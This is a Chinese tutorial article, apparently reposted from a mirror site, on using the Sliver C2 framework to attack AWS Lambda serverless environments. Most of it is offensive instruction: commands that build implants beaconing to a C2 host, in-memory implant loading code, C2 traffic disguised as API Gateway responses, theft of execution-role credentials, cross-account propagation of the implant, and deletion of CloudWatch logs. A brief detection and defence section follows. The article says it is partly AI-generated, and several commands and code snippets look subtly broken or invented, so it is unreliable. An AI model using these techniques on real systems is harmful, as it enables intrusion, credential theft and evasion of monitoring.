Sliver框架云原生安全测试:Serverless架构的渗透方法

Sliver框架云原生安全测试:Serverless架构的渗透方法

【免费下载链接】sliver Adversary Emulation Framework 【免费下载链接】sliver 项目地址: https://gitcode.com/gh_mirrors/sl/sliver

Serverless架构凭借其弹性扩展和按需付费的特性,已成为云原生应用的主流部署模式。但随着Lambda、Cloud Functions等无服务器服务的普及,传统安全测试工具难以应对其动态性和分布式特性。Sliver作为一款开源跨平台红队框架(README.md),通过Mutual TLS(mTLS)、安全通信协议、HTTP(S)等多种C2(Command & Control,命令与控制)信道,为Serverless环境的渗透测试提供了灵活解决方案。本文将从环境搭建、无文件攻击、横向移动三个维度,详解如何利用Sliver进行Serverless架构的安全测试。

环境准备:Sliver与Serverless的适配改造

核心组件与架构

Sliver框架采用客户端-服务器-植入体(Implant)三层架构,其核心优势在于动态编译的植入体和多协议C2支持。在Serverless环境中,需重点关注以下模块:

  • HTTP(S) C2信道:通过server/c2/http.go实现,支持自定义HTTP头、Cookie和路径混淆,适配云函数的API网关触发模式。
  • 动态植入体生成:通过server/generate/implants.go编译轻量级植入体,可嵌入Lambda函数部署包或通过层(Layer)注入。
  • 加密通信:使用cryptography/cryptography.go实现的端到端加密,规避云服务商的流量监控。

Sliver架构示意图

部署步骤

  1. 服务端部署:在EC2或ECS中启动Sliver服务端,配置HTTPS C2监听器:

    sliver-server new-c2-profile --http --name serverless-http --domain api.example.com --path /lambda-trigger
    sliver-server http --profile serverless-http --port 443
    
  2. 植入体编译:生成适用于Amazon Linux 2的植入体,禁用持久化以符合Serverless无状态特性:

    sliver-client generate --os linux --arch amd64 --http --c2 api.example.com:443/lambda-trigger --no-persistence --output lambda_implant
    
  3. Serverless环境准备:创建包含植入体的Lambda层,修改serverless.yml配置内存限制(建议≥512MB)和执行角色权限。

无文件攻击:利用Sliver实现Lambda函数内存马

攻击链设计

Serverless环境的无文件攻击需解决两个核心问题:植入体加载命令执行。Sliver通过以下流程实现:

  1. 触发机制:通过API网关或S3事件触发目标Lambda函数。
  2. 内存注入:利用AWS Lambda的/dev/shm共享内存区域,将Sliver植入体加载至内存。
  3. C2通信:通过server/c2/http.go的HTTP信道回连,规避WAF检测。

关键技术实现

1. 植入体内存加载

利用Golang的syscall包实现植入体的内存加载,示例代码片段:

// 从环境变量读取植入体Base64编码内容
implantB64 := os.Getenv("IMPLANT_B64")
implantData, _ := base64.StdEncoding.DecodeString(implantB64)

// 分配内存页并设置可执行权限
mem, _ := syscall.Mmap(-1, 0, len(implantData), syscall.PROT_READ|syscall.PROT_WRITE|syscall.PROT_EXEC, syscall.MAP_ANON|syscall.MAP_PRIVATE)
copy(mem, implantData)

// 执行植入体
syscall.Syscall(syscall.SYS_MPROTECT, uintptr(unsafe.Pointer(&mem[0])), uintptr(len(mem)), syscall.PROT_EXEC)
2. C2流量伪装

修改server/c2/http.go的HTTP请求处理逻辑,伪装为合法API调用:

// 在http.go中添加自定义User-Agent和Referer
func (s *SliverHTTPC2) DefaultRespHeaders(next http.Handler) http.Handler {
    return http.HandlerFunc(func(resp http.ResponseWriter, req *http.Request) {
        resp.Header().Set("Server", "AWSAPIGateway")
        resp.Header().Set("X-Amzn-Trace-Id", uuid.New().String())
        next.ServeHTTP(resp, req)
    })
}

横向移动:跨函数与跨账户渗透

云环境横向移动路径

Serverless架构的横向移动主要依赖IAM权限滥用内部服务调用。Sliver通过以下模块实现:

  • 凭证窃取:利用credentials/credentials.go捕获Lambda执行角色的临时凭证。
  • 函数调用:通过AWS SDK调用其他账户的Lambda函数,示例代码:
    sess := session.Must(session.NewSession())
    lambdaClient := lambda.New(sess)
    input := &lambda.InvokeInput{
        FunctionName:   aws.String("target-function"),
        InvocationType: aws.String("Event"),
        Payload:        []byte(`{"implant":"base64_encoded_implant"}`),
    }
    lambdaClient.Invoke(input)
    

防御规避策略

  1. 频率限制绕过:通过server/core/jobs.go实现请求速率控制,模拟正常业务流量。
  2. 日志清理:利用Sliver的clear-logs命令删除CloudWatch日志,调用server/handlers/sessions.go的日志清理接口。

检测与防御建议

蓝队视角:Sliver攻击的检测方法

  1. 异常流量监控:关注API网关中带有随机User-Agent且路径为/lambda-trigger的HTTPS请求(参考server/c2/http.go的默认配置)。
  2. 内存特征检测:通过Amazon Inspector监控/dev/shm中的异常内存页权限变更。
  3. 权限审计:定期检查Lambda执行角色是否包含lambda:InvokeFunction等敏感权限。

防御措施

  • 最小权限原则:限制Lambda角色仅能访问必要资源,禁用ec2:DescribeInstances等横向移动相关API。
  • 代码签名:启用Lambda函数的代码签名验证,阻止未授权植入体加载。
  • 流量加密:使用AWS KMS加密环境变量,避免植入体明文传输。

总结与展望

Sliver框架通过灵活的C2信道和轻量级植入体,为Serverless架构的安全测试提供了新范式。随着云原生技术的发展,建议关注以下方向:

  1. Serverless-specific C2协议:开发适配AWS API Gateway WebSocket或SQS的C2信道。
  2. WASM植入体:利用WebAssembly实现跨平台无文件攻击,规避Golang编译器依赖。
  3. AI驱动的攻击路径规划:结合Sliver的server/core/events.go事件系统,动态调整攻击策略。

通过本文方法,安全团队可系统性评估Serverless架构的抗攻击能力,为云原生应用构建更可靠的防御体系。

【免费下载链接】sliver Adversary Emulation Framework 【免费下载链接】sliver 项目地址: https://gitcode.com/gh_mirrors/sl/sliver

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值